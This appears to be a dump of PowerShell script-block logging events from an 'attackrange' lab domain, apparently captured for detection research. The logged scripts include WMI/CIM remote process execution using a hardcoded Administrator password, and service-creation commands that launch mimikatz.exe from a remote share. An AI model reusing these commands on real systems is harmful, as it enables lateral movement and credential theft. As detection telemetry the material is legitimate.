4104152150x0743699Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue4f2be20e-215c-4069-b115-dcb6f5e143f2
4104152150x0743693Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue0bd5bb9d-853e-4368-84bb-74015995c35e
4104152150x0743687Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue13205f20-1231-4aba-9781-3eadec3fdd49
4104152150x0743669Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11{# Set the remote computer name and credentials
$RemoteComputer = "localhost"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}5ef41027-4973-4e23-afa2-855c1e967677
4104152150x0743667Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11& {# Set the remote computer name and credentials
$RemoteComputer = "localhost"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}18410b56-5490-4029-be5e-f013d73a65f7
4104152150x0743497Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue15d38b1d-849c-43eb-a2a2-85f2676ba4b1
4104152150x0743491Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinueb1e25456-09b9-4e57-9063-ba36db31b1e0
4104152150x0743485Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue6a4b0aa7-c82a-463d-b82c-7f7bab168b82
4104152150x0743467Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11{# Set the remote computer name and credentials
$RemoteComputer = "localhost"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}8a275f67-a36a-401b-b2b0-b280ea086d77
4104152150x0743465Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11& {# Set the remote computer name and credentials
$RemoteComputer = "localhost"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}28c17cce-4080-4f0e-baa0-9d0d3e105b4d
4104152150x0743128Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinuea7c01901-d258-4f7b-9df1-114206b8a18c
4104152150x0743122Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue4de3b840-cd7a-4c85-b155-50404f8c571b
4104152150x0743116Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue81b15fb2-b2f5-4be1-9a7a-273ad54a4fb3
4104152150x0743098Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11{# Set the remote computer name and credentials
$RemoteComputer = "localhost"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}288323c2-9629-47a5-afa1-0f66c33f4b18
4104152150x0743096Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11& {# Set the remote computer name and credentials
$RemoteComputer = "localhost"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}f119f71b-cbd0-44f0-a261-111bdfc9df7a
4104152150x0740802Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11# Set the remote computer name and credentials
$RemoteComputer = "mswin-dc01.attackrange.local"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSessiona2c58e4e-3455-484a-aa3a-6bb3a26253d2
4104152150x0740660Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11# Set the remote computer name and credentials
$RemoteComputer = "mswin-dc01.attackrange.local"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSessionb799d98a-bf2e-4200-9152-1e26234deadd
4104152150x0740438Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue51ac8f61-06b2-4cc9-9218-edae28af6b52
4104152150x0740432Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue5348ab7f-064a-4018-a13a-2d47b3f6173e
4104152150x0740426Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinueef0a8a80-67aa-495e-aec6-fa8c5c0f828b
4104152150x0740408Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11{# Set the remote computer name and credentials
$RemoteComputer = "mswin-dc01.attackrange.local"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}9b0c3fb8-653f-4a2a-b7bd-8eb11b43e918
4104152150x0740406Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11& {# Set the remote computer name and credentials
$RemoteComputer = "mswin-dc01.attackrange.local"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession}b86036ea-9afa-4de1-b993-d228f546ddf0
4104152150x0739993Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11# Set the remote computer name and credentials
$RemoteComputer = "mswin-dc01.attackrange.local"
$Credentials = Get-Credential
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credentials
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession12c1b119-7475-436b-a4ae-b82535d03664
4104152150x0739940Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11# Set the remote computer name and credentials
$RemoteComputer = "mswin-dc01.attackrange.local"
$Credentials = Get-Credential
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credentials
# Define the process you want to start
$ProcessToStart = "calc.exe"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession1407819a-1eed-4784-bde3-e83659c958cd
4104152150x0739771Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue449fe1ad-1403-45ec-aa1f-e133217e4a82
4104152150x0739765Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinueacc26cc8-b344-451b-857c-8f5a481f1a48
4104152150x0739759Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue17af4915-c552-4350-82a2-cf5a73dd4e8e
4104152150x0739636Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11$ComputerName = 'localhost' # adjust to your server names
$Credential = Get-Credential # submit a user account with proper permissions
# define the arguments you want to submit to the method
# remove values that you do not want to submit
# make sure you replace values with meaningful content before running the code
# see section "Parameters" below for a description of each argument.
$arguments = @{
DesktopInteract = [Boolean](12345) # replace 12345 with a meaningful value
DisplayName = 'mykatz' # replace 'someText' with meaningful text
ErrorControl = [UInt8](1) # replace 12345 with a meaningful value
LoadOrderGroup = 'someText' # replace 'someText' with meaningful text
LoadOrderGroupDependencies = 'someText' # replace 'someText' with meaningful text
Name = 'mykatz' # replace 'someText' with meaningful text
PathName = '\\10.0.1.17\c$\temp\mimikatz.exe' # replace 'someText' with meaningful text
ServiceDependencies = 'mykatz' # replace 'someText' with meaningful text
ServiceType = [UInt8](12345) # replace 12345 with a meaningful value
StartMode = 'OWN_PROCESS' # replace 'someText' with meaningful text
StartName = 'administrator' # replace 'someText' with meaningful text
StartPassword = 'P@ssword1' # replace 'someText' with meaningful text
}
$session = New-CimSession -ComputerName $ComputerName -Credential $Credential
Invoke-CimMethod -ClassName Win32_Service -Namespace Root/CIMV2 -MethodName Create -Arguments $arguments -CimSession $session |
Add-Member -MemberType ScriptProperty -Name ReturnValueFriendly -Passthru -Value {
switch ([int]$this.ReturnValue)
{
0 {'Success'}
1 {'Not Supported'}
2 {'Access Denied'}
3 {'Dependent Services Running'}
4 {'Invalid Service Control'}
5 {'Service Cannot Accept Control'}
6 {'Service Not Active'}
7 {'Service Request Timeout'}
8 {'Unknown Failure'}
9 {'Path Not Found'}
10 {'Service Already Running'}
11 {'Service Database Locked'}
12 {'Service Dependency Deleted'}
13 {'Service Dependency Failure'}
14 {'Service Disabled'}
15 {'Service Logon Failed'}
16 {'Service Marked For Deletion'}
17 {'Service No Thread'}
18 {'Status Circular Dependency'}
19 {'Status Duplicate Name'}
20 {'Status Invalid Name'}
21 {'Status Invalid Parameter'}
22 {'Status Invalid Service Account'}
23 {'Status Service Exists'}
24 {'Service Already Paused'}
default {'Unknown Error '}
}
}
Remove-CimSession -CimSession $sessionc03fad18-b0ed-4829-9170-a52fcf15fe5f
4104152150x0739605Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11$ComputerName = 'localhost' # adjust to your server names
$Credential = Get-Credential # submit a user account with proper permissions
# define the arguments you want to submit to the method
# remove values that you do not want to submit
# make sure you replace values with meaningful content before running the code
# see section "Parameters" below for a description of each argument.
$arguments = @{
DesktopInteract = [Boolean](12345) # replace 12345 with a meaningful value
DisplayName = 'mykatz' # replace 'someText' with meaningful text
ErrorControl = [UInt8](mykatz) # replace 12345 with a meaningful value
LoadOrderGroup = 'someText' # replace 'someText' with meaningful text
LoadOrderGroupDependencies = 'someText' # replace 'someText' with meaningful text
Name = 'mykatz' # replace 'someText' with meaningful text
PathName = '\\10.0.1.17\c$\temp\mimikatz.exe' # replace 'someText' with meaningful text
ServiceDependencies = 'mykatz' # replace 'someText' with meaningful text
ServiceType = [UInt8](12345) # replace 12345 with a meaningful value
StartMode = 'OWN_PROCESS' # replace 'someText' with meaningful text
StartName = 'administrator' # replace 'someText' with meaningful text
StartPassword = 'P@ssword1' # replace 'someText' with meaningful text
}
$session = New-CimSession -ComputerName $ComputerName -Credential $Credential
Invoke-CimMethod -ClassName Win32_Service -Namespace Root/CIMV2 -MethodName Create -Arguments $arguments -CimSession $session |
Add-Member -MemberType ScriptProperty -Name ReturnValueFriendly -Passthru -Value {
switch ([int]$this.ReturnValue)
{
0 {'Success'}
1 {'Not Supported'}
2 {'Access Denied'}
3 {'Dependent Services Running'}
4 {'Invalid Service Control'}
5 {'Service Cannot Accept Control'}
6 {'Service Not Active'}
7 {'Service Request Timeout'}
8 {'Unknown Failure'}
9 {'Path Not Found'}
10 {'Service Already Running'}
11 {'Service Database Locked'}
12 {'Service Dependency Deleted'}
13 {'Service Dependency Failure'}
14 {'Service Disabled'}
15 {'Service Logon Failed'}
16 {'Service Marked For Deletion'}
17 {'Service No Thread'}
18 {'Status Circular Dependency'}
19 {'Status Duplicate Name'}
20 {'Status Invalid Name'}
21 {'Status Invalid Parameter'}
22 {'Status Invalid Service Account'}
23 {'Status Service Exists'}
24 {'Service Already Paused'}
default {'Unknown Error '}
}
}
Remove-CimSession -CimSession $sessiond55a5a08-a5c0-4312-b9bf-f7f5ca4c1769
4104152150x0739572Microsoft-Windows-PowerShell/Operationalmswin-server.attackrange.local11$ComputerName = 'localhost' # adjust to your server names
$Credential = Get-Credential # submit a user account with proper permissions
# define the arguments you want to submit to the method
# remove values that you do not want to submit
# make sure you replace values with meaningful content before running the code
# see section "Parameters" below for a description of each argument.
$arguments = @{
DesktopInteract = [Boolean](12345) # replace 12345 with a meaningful value
DisplayName = 'someText' # replace 'someText' with meaningful text
ErrorControl = [UInt8](12345) # replace 12345 with a meaningful value
LoadOrderGroup = 'someText' # replace 'someText' with meaningful text
LoadOrderGroupDependencies = 'someText' # replace 'someText' with meaningful text
Name = 'someText' # replace 'someText' with meaningful text
PathName = 'someText' # replace 'someText' with meaningful text
ServiceDependencies = 'someText' # replace 'someText' with meaningful text
ServiceType = [UInt8](12345) # replace 12345 with a meaningful value
StartMode = 'someText' # replace 'someText' with meaningful text
StartName = 'someText' # replace 'someText' with meaningful text
StartPassword = 'someText' # replace 'someText' with meaningful text
}
$session = New-CimSession -ComputerName $ComputerName -Credential $Credential
Invoke-CimMethod -ClassName Win32_Service -Namespace Root/CIMV2 -MethodName Create -Arguments $arguments -CimSession $session |
Add-Member -MemberType ScriptProperty -Name ReturnValueFriendly -Passthru -Value {
switch ([int]$this.ReturnValue)
{
0 {'Success'}
1 {'Not Supported'}
2 {'Access Denied'}
3 {'Dependent Services Running'}
4 {'Invalid Service Control'}
5 {'Service Cannot Accept Control'}
6 {'Service Not Active'}
7 {'Service Request Timeout'}
8 {'Unknown Failure'}
9 {'Path Not Found'}
10 {'Service Already Running'}
11 {'Service Database Locked'}
12 {'Service Dependency Deleted'}
13 {'Service Dependency Failure'}
14 {'Service Disabled'}
15 {'Service Logon Failed'}
16 {'Service Marked For Deletion'}
17 {'Service No Thread'}
18 {'Status Circular Dependency'}
19 {'Status Duplicate Name'}
20 {'Status Invalid Name'}
21 {'Status Invalid Parameter'}
22 {'Status Invalid Service Account'}
23 {'Status Service Exists'}
24 {'Service Already Paused'}
default {'Unknown Error '}
}
}
Remove-CimSession -CimSession $session2ffb4069-45dd-4c49-b55e-1ad76f2c041b
4104152150x0229024Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue7fabfa72-6a11-4741-b8d2-6292cb0897a6
4104152150x0229018Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue8d53ff37-ceb0-4df4-bf04-cf9e0e37d979
4104152150x0229012Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue4902909e-bb4b-4b21-9502-b179bacbce34
4104152150x0228755Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local12# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Amazon Software License (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/asl/
#
# or in the "license" file accompanying this file. This file is distributed
# on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
# express or implied. See the License for the specific language governing
# permissions and limitations under the License.
<#-----------------------------------------------------------------------------------------------------------
Add-DnsSuffixList adds DNS suffixes.
-------------------------------------------------------------------------------------------------------------#>
function Add-DnsSuffixList
{
$state = Get-LaunchConfig -Key AddDnsSuffixList
[System.GC]::Collect()
if (-not $state)
{
Write-Log "Adding DNS suffix list is disabled"
return
}
$suffixList = @()
Write-Log ("Adding DNS suffixes in search list begins")
# Try to create a suffix with available zone
try
{
# Availability-zone includes period at the end, so it needs to remove it.
$availabilityZone = (Get-Metadata -UrlFragment "meta-data/placement/availability-zone").Trim()
if ($availabilityZone.EndsWith("."))
{
$availabilityZone = $availabilityZone.Substring(0,$availabilityZone.Length - 1)
}
$suffixList += "{0}.ec2-utilities.amazonaws.com" -f $availabilityZone.Substring(0,$availabilityZone.Length - 1)
}
catch
{
Write-ErrorLog ("Failed to get availability zone: {0}" -f $_.Exception.Message)
}
# Try to get global search list
try
{
$tcpRegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
$tcpRegRes = Get-ItemProperty -Path $tcpRegPath
$existingList = $tcpRegRes.SearchList -split ","
foreach ($existing in $existingList)
{
if ($existing -and $suffixList -notcontains $existing)
{
$suffixList += $existing.ToLower()
}
}
}
catch
{
Write-ErrorLog ("Failed to get global search list: {0}" -f $_.Exception.Message)
}
# Try to get DNS Domain
try
{
$dnsDomain = $tcpRegRes.Domain
if ($dnsDomain -and $suffixList -notcontains $dnsDomain)
{
$suffixList += $dnsDomain.ToLower()
}
$isUsingDomainDevolution = $tcpRegRes.UseDomainNameDevolution
if ($isUsingDomainDevolution -ne 0)
{
$dnsDomains = $dnsDomain -split "\."
if ($dnsDomains.Length -gt 2)
{
$dns = $dnsDomains.Get($dnsDomains.Length - 1)
for ($i = $dnsDomains.Length - 2; $i -ge 1; $i --)
{
$dns = "{0}.{1}" -f $dnsDomains.Get($i),$dns
if ($dns -and $suffixList -notcontains $dns)
{
$suffixList += $dns.ToLower()
}
}
}
}
}
catch
{
Write-ErrorLog ("Failed to get DNS domain from registry: {0}" -f $_.Exception.Message)
}
# Try to get NV Domain - contains computer's primary DNS suffix
try
{
$nvDomain = $tcpRegRes. "NV Domain"
if ($nvDomain -and $suffixList -notcontains $nvDomain)
{
$suffixList += $nvDomain.ToLower()
}
}
catch
{
Write-ErrorLog ("Failed to get NV domain: {0}" -f $_.Exception.Message)
}
# Try to get DNS Domain from connected NICs
try
{
$networkAdapters = Get-CimInstance -ClassName Win32_NetworkAdapter
foreach ($networkAdapter in $networkAdapters)
{
# Check each NIC if it is connected (Connected = 2)
if ($networkAdapter.NetConnectionStatus -eq 2)
{
$networkConfig = Get-CimInstance -ClassName Win32_NetworkAdapterConfiguration -Filter "Index='$($networkAdapter.Index)'"
$nicDnsDomain = $networkConfig.DNSDomain
if ($nicDnsDomain -and $suffixList -notcontains $nicDnsDomain)
{
$suffixList += $nicDnsDomain.ToLower()
}
}
}
}
catch
{
Write-ErrorLog ("Failed to get DNS domain from NICs: {0}" -f $_.Exception.Message)
}
try
{
# Set DNS suffix search list
Invoke-CimMethod -ClassName Win32_NetworkAdapterConfiguration -MethodName "SetDNSSuffixSearchOrder" -Arguments @{ DNSDomainSuffixSearchOrder = $suffixList } | Out-Null
}
catch
{
Write-ErrorLog ("Failed to set DNS suffix search list: {0}" -f $_.Exception.Message)
}
Write-Log ("Adding DNS suffixes in search list done")
}
# SIG # Begin signature block
# MIIuqgYJKoZIhvcNAQcCoIIumzCCLpcCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAwdXMjmgee8GrG
# wK7q1ggMNwj1l3PZixsOVf6I/u33B6CCFBkwggXAMIIEqKADAgECAhAP0bvKeWvX
# +N1MguEKmpYxMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNV
# BAMTIkRpZ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AC+R2AibZ8GV2QqYphwlHK+Z/GqSFD/yY
# lvZVVCsfgPrA8g4r5db7qS9EFUrnEw4d2zc4GqEr9u3WfPwwggWNMIIEdaADAgEC
# AhAOmxiO+dAt5+/bUOIIQBhaMA0GCSqGSIb3DQEBDAUAMGUxCzAJBgNVBAYTAlVT
# MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
# b20xJDAiBgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBDQTAeFw0yMjA4
# MDEwMDAwMDBaFw0zMTExMDkyMzU5NTlaMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV
# BAa6967c97-e53c-431d-a156-a7af53a4a0a4C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Add-DnsSuffixList.ps1
4104152150x0228594Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue3a298af1-d8fe-46a4-b91b-e08faccdc449
4104152150x0228588Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue771fbe16-eedd-4eea-a856-673925ce657b
4104152150x0228582Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinuec702a481-a709-48f0-b8f5-337f1095706e
4104152150x0228493Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue8041dacf-c134-4ca9-b70d-90806e3edf44
4104152150x0228487Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinuee1621ee1-ae19-4c44-9dd0-387ec317f9ae
4104152150x0228481Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue3ce17f19-9aa1-4d81-86cd-957c512e41f4
4104152150x0226869Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinuec637e5fe-d12e-48eb-8c9d-a5beee7911c2
4104152150x0226863Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinuee62ea3c2-bd61-4230-a1a3-2cfb4064700c
4104152150x0226857Microsoft-Windows-PowerShell/Operationalmswin-exch01.attackrange.local11Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinueb7612e1d-d191-4ba0-98d6-d1a41bec6f02
